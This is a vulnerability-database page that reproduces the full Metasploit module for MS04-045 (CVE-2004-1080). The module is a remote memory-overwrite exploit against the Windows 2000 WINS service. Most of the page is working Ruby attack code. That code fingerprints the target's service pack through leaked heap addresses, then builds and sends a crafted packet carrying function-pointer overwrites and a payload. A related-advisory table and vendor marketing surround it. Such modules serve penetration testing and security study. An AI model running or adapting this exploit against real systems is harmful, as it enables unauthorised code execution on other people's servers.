Lucene search
K

Microsoft WINS - Service Memory Overwrite (MS04-045) (Metasploit)

🗓️ 20 Sep 2010 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

Microsoft WINS Service Memory Overwrite flaw in Windows 200

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2004-1080
20 Sep 201000:00
circl
Check Point Advisories
Microsoft WINS Replication Attack (CVE-2004-1080)
1 Dec 200400:00
checkpoint_advisories
CVE
CVE-2004-1080
1 Dec 200405:00
cve
Cvelist
CVE-2004-1080
1 Dec 200405:00
cvelist
Metasploit
MS04-045 Microsoft WINS Service Memory Overwrite
16 Jan 200602:59
metasploit
canvas
Immunity Canvas: MSWINSTCP
10 Jan 200505:00
canvas
NVD
CVE-2004-1080
10 Jan 200505:00
nvd
Packet Storm
Microsoft WINS Service Memory Overwrite
26 Nov 200900:00
packetstorm
Saint
Microsoft WINS replication service pointer corruption
10 Feb 200600:00
saint
Saint
Microsoft WINS replication service pointer corruption
10 Feb 200600:00
saint
Rows per page
##
# $Id: ms04_045_wins.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft WINS Service Memory Overwrite',
			'Description'    => %q{
				This module exploits an arbitrary memory write flaw in the
				WINS service. This exploit has been tested against Windows
				2000 only.

			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2004-1080'],
					[ 'OSVDB', '12378'],
					[ 'BID', '11763'],
					[ 'MSB', 'MS04-045'],

				],
			'Privileged'     => true,
			'DefaultOptions'  =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 8000,
					'MinNops'  => 512,
					'StackAdjustment' => -3500,

				},
			'Targets'        =>
				[
					[
						'Windows 2000 English', # Tested OK - 11/25/2005 hdm
						{
							'Platform' => 'win',
							'Rets'     => [ 0x5391f40, 0x53df4c4, 0x53922e0],
						},
					],
				],
			'DisclosureDate' => 'Dec 14 2004',
			'DefaultTarget' => 0))

			register_options(
				[
					Opt::RPORT(42)
				], self.class )
	end

	def check
		ret = fprint()

		info = 'This system is running '
		info << ((ret[1] == '?') ? 'an unknown windows version ' : "Windows #{ret[1]} ")
		info << ((ret[2] == '?') ? '' : "with service pack #{ret[2]} ")
		info << (ret[3] ? '(clean heap)' : '(dirty heap)')

		print_status(info)
		return ret[0]
	end

	def exploit
		ret = fprint()

		if (ret[0] != Exploit::CheckCode::Vulnerable)
			print_status("This system does not appear to be vulnerable")
			return
		end

		# Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the
		# same function pointer...
		if (ret[1] != '2000' or ret[2] !~ /^[0234]/)
			print_status("This target is not currently supported")
			return
		end

		# This flag is un-set if the first leaked address is not the default of
		# 0x05371e90. This can indicate that someone has already tried to exploit
		# this system, or something major happened to the heap that will probably
		# prevent this exploit from working.
		if (not ret[3])
			print_status("Warning: the leaked heap address indicates that this attack may fail");
		end

		# The base address of our structure in memory
		base = target['Rets'][0]

		# Address of the function pointers to overwrite (courtesy anonymous donor)
		targ = target['Rets'][1]

		# Address of the payload on the heap, past the structure
		code = target['Rets'][2]

		# Build up the wins packet
		addr = ''
		addr << ([code].pack('V') * 9)
		addr << ([targ - 0x48].pack('V') * 14)

		wins = addr * 10
		wins << payload.encoded
		wins << rand_text_english(9200-wins.length, payload_badchars)

		wpkt = [wins.length + 8, -1, base].pack('NNN')
		wpkt << wins

		print_status(sprintf("Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", targ, code, base))

		# Connect and send the request
		connect
		sock.put(wpkt)
		handler
		disconnect
	end

	# This fingerprinting routine will cause the structure base address to slide down
	# 120 bytes. Subsequent fingerprints will not push this down any futher, however
	# we need to make sure that fingerprint is always called before exploitation or
	# the alignment will be way off.
	def fprint

		ret = [Exploit::CheckCode::Safe, '', '', '']

		req = "\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05"+
			"\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03"+
			"\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00"

		connect
		sock.put(req)
		data = sock.get_once
		return ret if not data

		ptrs = [ data[16,4].unpack('N')[0] ].concat( data[32,12].unpack('VVV') )

		print_status(sprintf("WINS Fingerprint: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", *ptrs))

		os = '2000'
		sp = '?'
		vi = false

		# Check for Windows 2000 systems
		case ptrs[3]
			when 0x77f8ae78
				sp = '0'
			when 0x77f81f70
				sp = '1'
			when 0x77f82680
				sp = '2'
			when 0x77f83608
				sp = '3'
			when 0x77f89640
				sp = '4'
			when 0x77f82518
				sp = '5'
			when 0x77f81648 # Contributed by grutz[at]jingojango.net
				sp = '3/4'
		end

		# Reset the OS string if no match was found
		os = '?' if sp == '?'

		# Check for Windows NT 4.0 systems
		if (ptrs[0] > 0x02300000 and ptrs[0] < 0x02400000)
			os = 'NT'
			sp = '?'
		end

		# Heap is still pristine...
		vi = true if ptrs[0] == 0x05371e90

		# Determine if the patch has already been applied
		req = "\x00\x00\x00\x0F\x00\x00\x78\x00" + data[16, 4] +
			"\x00\x00\x00\x03\x00\x00\x00\x00"

		sock.put(req)
		data = sock.get_once
		disconnect

		ret[1] = os
		ret[2] = sp
		ret[3] = vi

		if (data and data[6, 1] == "\x78")
			ret[0] = Exploit::CheckCode::Vulnerable
		end

		return ret
	end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Sep 2010 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 210
EPSS0.89406
25